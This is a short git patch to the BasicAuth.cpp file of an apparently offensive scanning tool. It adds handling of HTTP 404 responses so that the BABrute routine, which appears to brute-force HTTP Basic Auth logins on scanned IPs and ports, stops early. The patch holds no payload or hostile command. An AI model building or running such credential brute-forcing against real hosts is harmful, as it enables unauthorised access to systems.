From a9152d56c8e583fb4eed9f8ac0a0b73103ca5e3b Mon Sep 17 00:00:00 2001 From: cora32 Date: Sun, 19 Apr 2015 12:33:26 +0300 Subject: [PATCH] 404 BasicAuth check implemented. --- BasicAuth.cpp | 6 ++++++ version | 2 +- 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/BasicAuth.cpp b/BasicAuth.cpp index 7ccce03..a047880 100644 --- a/BasicAuth.cpp +++ b/BasicAuth.cpp @@ -14,6 +14,11 @@ int BA::checkOutput(const string *buffer, const char *ip, const int port) { ) { return 1; } + else if (Utils::ustrstr(*buffer, "http/1.1 404") != -1 + || Utils::ustrstr(*buffer, "http/1.0 404") != -1) { + stt->doEmitionRedFoundData("BA - 404 " + QString(ip) + ":" + QString::number(port)); + return -2; + } else if (Utils::ustrstr(*buffer, "503 service unavailable") != -1 || Utils::ustrstr(*buffer, "http/1.1 503") != -1 || Utils::ustrstr(*buffer, "http/1.0 503") != -1 @@ -70,6 +75,7 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) { if (res == -2) return lps; else if (res != -1) { res = checkOutput(&buffer, ip, port); + if (res == -2) return lps; if (res == -1) { ++i; break; diff --git a/version b/version index f02d37e..788ef1f 100644 --- a/version +++ b/version @@ -1 +1 @@ -24B93-9B \ No newline at end of file +24B93-D0 \ No newline at end of file